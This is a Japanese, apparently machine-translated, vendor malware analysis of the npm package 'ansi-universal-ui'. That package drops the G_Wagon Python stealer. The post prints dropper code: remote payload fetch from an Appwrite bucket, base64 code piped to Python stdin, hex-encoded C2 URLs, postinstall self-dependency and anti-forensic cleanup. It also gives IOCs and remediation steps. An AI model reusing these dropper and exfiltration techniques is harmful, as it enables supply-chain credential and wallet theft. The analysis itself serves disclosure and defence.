Aikido

G_Wagon: npmパッケージが100以上の暗号通貨ウォレットを狙ったPythonスティーラーを展開

チャーリー・エリクセンチャーリー・エリクセン
|
#
#
#

2026年1月23日 08:46 UTC、当社のマルウェア検知システムが「」というパッケージを検知しました。 アンシユニバーサルUI名前は退屈なUIコンポーネントライブラリのように聞こえる。説明文には「軽量でモジュール式のUIコンポーネントシステム。モダンなWebアプリケーション向け。非常にプロフェッショナル。ごく普通。でも、そうじゃない。

我々が発見したのは、洗練された多段階型情報窃取マルウェアである。これは独自のPythonランタイムをダウンロードし、高度に難読化されたペイロードを実行した後、ブラウザ認証情報、仮想通貨ウォレット、クラウド認証情報、DiscordトークンをAppwriteストレージバケットへ流出させる。さらに埋め込まれたWindows DLLを保持しており、NTネイティブAPIを用いてブラウザプロセスへ注入する。このマルウェアは内部で自身を「G_Wagon」と呼称しており、おそらく作者が高級趣味の持ち主であるためだろう。

攻撃がリアルタイムで展開する様子を観察する

この事例は、開発プロセス全体を観察できる点で興味深い。攻撃者は2日間で10バージョンを公開し、各バージョンがその経緯の一部を物語っている。

1日目(1月21日)- ドロッパー基盤のテスト:

  • v1.0.0(15:54 UTC): npmのtarモジュールを使用した初期スケルトン
  • v1.2.0(16:03 UTC): システムtarへの切り替え、最初の自己依存関係
  • v1.3.2(16:09 UTC): ポストインストールフックを追加(ペイロードはまだなし)
  • v1.3.3(16:18 UTC): リダイレクトのバグを修正しました

2日目(1月23日)- 武器化:

  • v1.3.5(08:46 UTC): C2 URLを追加、偽のブランディングを追加、プレースホルダーを削除
  • v1.3.6(08:53 UTC): 二重実行のための自己依存関係を再有効化
  • v1.3.7(09:09 UTC): フォレンジック対策を追加、ログメッセージをサニタイズ
  • v1.4.0(12:27 UTC): フランクフルトC2へ切り替え、ペイロードは標準入力経由でパイプ処理されるようになりました(ディスクに一切触れません)
  • v1.4.1(12:48 UTC): 難読化、16進数エンコード文字列、おとりUIクラスの追加
  • v1.4.2(13:06 UTC): バグ修正 (v1.4.1 で Python のパスが破損した)

攻撃者は積極的に反復処理を実行中です。この投稿を執筆している間に、さらに3つのバージョンをプッシュしました。

テスト段階

初期バージョン(1.0.0 を通して 1.3.3すべてに「という名前のファイルが含まれていた py.py この内容で:

print("pythonコードが実行されました!")

それだけだ。実行チェーンが機能したかテストするための単なるプレースホルダーだ。攻撃者はインフラを構築していた。

バージョン1.2.0では、興味深い変更が加えられました。npmのtar依存関係を削除し、システムのtarコマンドを直接起動する方式に切り替えました:

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

なぜ? npm依存関係が少ないほど、検出される可能性が低くなります。また、npmから何もインストールせずにパッケージが動作することを意味します。

しかし、彼らはバグを導入した。リダイレクト処理は実際には機能していなかった:

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

v1.3.3で修正されました:

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

これが1.3. 3と1.3.5のバージョン差が生じた理由です。彼らはテストを行い、バグに遭遇し、修正し、動作確認した後、2日後に再び戻ってきてそれを武器化したのです。

兵器化

バージョン1.3.5で全てが変わります。主な変更点を確認しましょう:

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

ローカルのプレースホルダーを実行する代わりに、Appwriteストレージバケットからペイロードをダウンロードするようになりました。

彼らはまた、最終版では削除された、意味深なコメントを追加していた:

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

攻撃者は明らかに作戦上の安全性を考慮していた。

偽ブランド

バージョン1.3.5では正当性も追加されました。package.jsonは以下のように変更されました:

{
  "description": "A cross-platform tool powered by Python"
}

宛先:

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

彼らは追加した README.md 流行語だらけ:

ユニバーサルUI は、高性能なインターフェースレンダリングを目的として設計された宣言型コンポーネントプリミティブライブラリです。現代的なアプリケーションアーキテクチャ全体で、ビジュアル状態、テーマ、レイアウトシステムを管理するための統一レイヤーを提供します。

そして私のお気に入り:

仮想レンダリングエンジン: 状態変化時に滑らかな遷移と最小限の再描画を保証する最適化された差分検出アルゴリズム。

これらはすべて偽物だ。ThemeProviderなど存在しない。Virtual Rendering Engineなど存在しない。ただマルウェアがあるだけだ。

自己依存のトリック

v1.3.7 の package.json を見てください:

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

パッケージは自身に依存しています。バージョン1.3.7は バージョン^1.3.5を必要とします。npmがパッケージをインストールする際、postinstallフックを実行します。その後、依存関係(自身の古いバージョン)をインストールし、これが再びpostinstallフックを実行します。二重実行が発生します。

興味深いことに、彼らはv1.3.5でこれを削除し、v1.3.6で再追加しました。おそらく問題を引き起こすかどうかをテストしていたのでしょう。

アンチフォレンジクス

バージョン1.3.7では、実行後にペイロードを削除するクリーンアップコードが追加されました:

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

彼らはログメッセージも修正した:

- コンソール.log("Python環境を設定中...");
+ コンソール.log("UIランタイムを初期化中...");

Python環境の設定」は怪しい。「UIランタイムの初期化」は正当なUIライブラリがUIライブラリとしての処理を行っているように聞こえる。

進化を続ける:v1.4.x

このマルウェアを分析している間に、攻撃者はさらに2つのバージョンを投入した。彼らは学習している。

v1.4.0 重要な変更を加えました:Pythonペイロードはディスクにアクセスしなくなりました。ファイルにダウンロードして実行する代わりに、ドロッパーはC2からbase64エンコードされたPythonを取得し、メモリ内でデコードした後、直接パイプで python - 標準入力経由で:

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

削除するファイルはありません。残された痕跡はありません。

v1.4.1では難読化がさらに進められました。C2 URLは現在、16進数エンコードされたチャンクに分割されています:

const _ui_assets = [
     "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
    "3639363865613536303033313663313238663232",    "2f66696c65732f",
    "363937333638333830303333343933353735373..."
];const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

また、コードを実際のUIライブラリのように見せるため、おとりクラスを追加しました:

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

ディレクトリは以下のように名前が変更されました Pythonランタイム への lib_core/レンダラー変数のようなもの pythonコード なった テクスチャデータ関数 Pythonの設定 なった _init_layer今や全てがグラフィックレンダリングコードのように聞こえる。

また、ニューヨークのエンドポイントを廃止し、フランクフルトのC2サーバーに完全に切り替えた。

v1.4.2は18分後にリリースされた。何かを壊した。コード内のコメントが全てを物語っている:

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

v1.4.1彼らは美学的難読化のためにディレクトリ名をrendererに変更したが、Pythonのtarballは パイソンおっと。マルウェアは動作しなかっただろう。 v1.4.2 この問題を修正しつつ、16進エンコーディングを維持します。

ステージ2:G_ワゴン・スティーラー

Pythonのペイロードこそが興味深い部分だ。コードは単一文字の変数名と文字列定数で難読化されているが、解析を進めればその機能性は明らかになる。

マルウェアが最初に行うことは、という名前のファイルを確認することです。 .gwagon_status ホームディレクトリ内にあります。このファイルにはカウンターが含まれています。既に2回感染している場合、動作を停止します。同じデータを繰り返し盗む必要はありません。

それから動き出す。

ブラウザ認証情報: このスティーラーは、WindowsとmacOSの両方でChrome、Edge、Braveを標的とします。Windowsでは、ブラウザプロセスを終了させ、Chrome DevTools Protocolを有効にした新規インスタンスを生成し、すべてのクッキーを抽出します。また、Windows Data Protection APIを使用して保存されたパスワードを復号します。macOSでは、キーチェーンから暗号化キーを抽出し、OpenSSLを使用してログインデータを復号します。

仮想通貨ウォレット:これが真の標的だ。マルウェアは100以上のブラウザウォレット拡張機能を標的にする。MetaMask、Phantom、Coinbase Wallet、Trust Wallet、Ledger Live、Trezor、Exodusなど数十種類に及ぶ。マルウェアは発見した各ウォレットの拡張機能データディレクトリ全体をコピーする。

完全なリストには、イーサリアム、ソラナ、コスモス、ポルカドット、カルダノ、TON、ビットコイン・オーディナルズ向けのウォレットが含まれており、考えられるほぼすべてのブロックチェーン・エコシステムを網羅しています。

クラウド認証情報:AWS CLI、Azure CLI、またはGoogle Cloud SDKをマシンに設定したことがある場合、マルウェアは認証情報ファイルをコピーします。SSHキーやkubeconfigも同様です。クラウドインフラ全体が、たった1つのzipファイルでアクセス可能になる可能性があります。

メッセージングトークンディスコードトークンの窃取は長年npmマルウェアの定番であり、G_Wagonも例外ではない。テレグラムのトークンも取得する。 tdata ディレクトリとSteam認証ファイル。

脱出作戦

盗まれたデータはすべて圧縮され、攻撃者のAppwriteバケットにアップロードされる。ファイル名は以下のパターンに従う: {ユーザー名}@{ホスト名}_{ブラウザ名}_{プロファイル名}_{元のファイル名}.

マルウェアには2つのC2サーバーが設定されている:

  • 主要: nyc.cloud.appwrite[.]io (プロジェクトID: 6886229e003d46469fab)
  • バックアップ: fra.cloud.appwrite[.]io (プロジェクトID: 6968e9e9000ee4ac710c)

大容量ファイルの場合、データを5MB単位に分割し順次アップロードする。50MBを超えるファイルは45MB単位に分割される。作者は明らかに、大量の貴重なデータを持つ被害者を想定していた。

DLLインジェクション

このスティーラーを際立たせるもう一つの特徴がある。Pythonコードには大規模なBase64エンコードされたブロブが含まれており、これはXOR暗号化されたWindows DLLである。

c='+qmQZ9cVqpo....=='  # 編集済み for 簡潔さを考慮して - 実際のブロブははるかに大きい

このコードはbase64デコードし、ハードコードされた鍵でXOR復号した後、NTネイティブAPIを使用してブラウザプロセスに注入する: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemoryそして NtCreateThreadEx.

このマルウェアには完全なPEパーサーが含まれており、エクスポートテーブルを走査して「関数」と呼ばれるものを検索する。初期化- それがインジェクション後に呼び出されるエントリポイントです。

修復と検出

インストール済みの場合 アンシユニバーサルUIすぐに以下のことを行ってください:

  1. プロジェクトからパッケージを削除し、node_modulesを削除してください
  2. 確認してください .gwagon_status ホームディレクトリ内のファイル(存在する場合、感染している可能性が高い)
  3. ブラウザに保存されたすべてのパスワードをローテーションする
  4. ブラウザ拡張機能としてインストールされた仮想通貨ウォレットのトークンをすべて無効化し、再生成してください(それらのウォレットは侵害されたものと見なしてください)
  5. AWS/Azure/GCPのCLIを使用している場合は、認証情報をローテーションしてください
  6. SSH鍵を再生成する
  7. DiscordおよびTelegramのセッションを無効化

Aikido影響を受けているかどうかを見分ける方法:

Aikido の場合は、中央フィードとマルウェア問題のフィルターを確認してください。この脆弱性はフィード上で100/100の重大問題として表示されます。ヒント:Aikido リポジトリを毎晩Aikido 、フル再スキャンの手動実行も推奨します。

まだAikido でない場合は、アカウントを作成しリポジトリを接続してください。当社の独自マルウェア対策は無料プランに含まれています(クレジットカード不要)。

将来の保護のため、npm、npx、yarn、その他のパッケージマネージャー用のセキュアラッパーAikido Chain(オープンソース)の使用をご検討ください。Safe Chainは既存のワークフローに組み込まれます。npm、npx、yarn、pnpm、pnpxコマンドをインターセプトし、インストール前にAikido (当社のオープンソース脅威インテリジェンスフィード)に対してパッケージのマルウェア検証を行います。脅威がマシンに到達する前に阻止します。

妥協の指標

パッケージ

  • 名前: アンシユニバーサルUI
  • 悪意のあるバージョン:1.3.51.3.61.3.71.4.01.4.1

ファイルハッシュ (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (同一の v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (悪意のある)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (同一の v1.3.5, 悪意のある)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (悪意のある)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (悪意のある)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (悪意のある)
  • py.py(全バージョン): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

注記: v1.3.5 そして v1.3.6 同一である インデックス.js ファイル(のみ) package.json 変更済み)。 v1.2.0 そして v1.3.2 また同一です(postinstallフックを追加したのみ)。

ネットワーク

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • AppwriteプロジェクトID(NYC): 6886229e003d46469fab
  • AppwriteプロジェクトID (FRA): 6968e9e9000ee4ac710c
  • Appwrite バケット ID (NYC): 688625a0000f8a1b71e8
  • Appwrite バケット ID (FRA): 6968ea5600316c128f22

ファイルシステム

  • ~/.gwagon_status (実行カウンタ、Windowsでは非表示)

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。